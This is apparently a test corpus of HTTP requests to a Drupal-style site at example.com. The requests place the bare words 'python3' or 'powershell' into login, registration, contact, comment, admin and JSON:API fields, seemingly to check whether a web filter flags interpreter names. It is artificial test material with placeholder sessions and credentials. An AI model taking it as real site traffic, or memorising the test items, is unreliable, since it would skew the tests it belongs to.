{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-lCTS1z_EoVksn0jioAK7v4s2L4hzoCwXHJT-CH8rsW0&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=python3&body%5B0%5D%5Bvalue%5D=%3Cp%3Epython3%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-4oWrGGzjtPQv1A-JRZJ6CmyFsL4hb0RJUDKQdHeJNh0&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-SbrC1EfH_MYlu_an5FBoylr6AlpLpOD11o2gCOtyRO0&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=Example-notes%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-Kt2kffKt50tcucWdWM-piCd9om4FVt-aJyIJFpV55tU&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=python3&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=python3&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-ChSwnL6JOckVaRM1DY_gK10c443LOX6--020EPfUoho&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=python3%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=python3&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"python3\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"python3\", \"description\": {\"value\": \"python3\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"python3\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"python3\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"python3\"}}}"}
{"method": "GET", "target": "/user/password?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=powershell&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"powershell\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=powershell&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=powershell&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-39jdXePAKADieFAxtAyAbTASAZlWBD25eCMIE6Afa6Y&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-8i-ZobNtZSL-3O050WQd4fVWQcZ-Up1ggLaqKOyrMew&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-dGwYW4O30AY72IYovJIsrVbtEwplwChm7Ufp5Vj8Xn0&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-zWgUpFs_DRf8Z7uzAGog4tmcWPs48AL2L7JJ5WRqBj4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-f7T6e9-CWGNDjPXn-6pK1Fsb3EHB5BXd9I10o2ooqYQ&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-JPNGqpnYg8b0xXtuD-aw2iKACwYzPMeOVQGLGxlbYRA&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
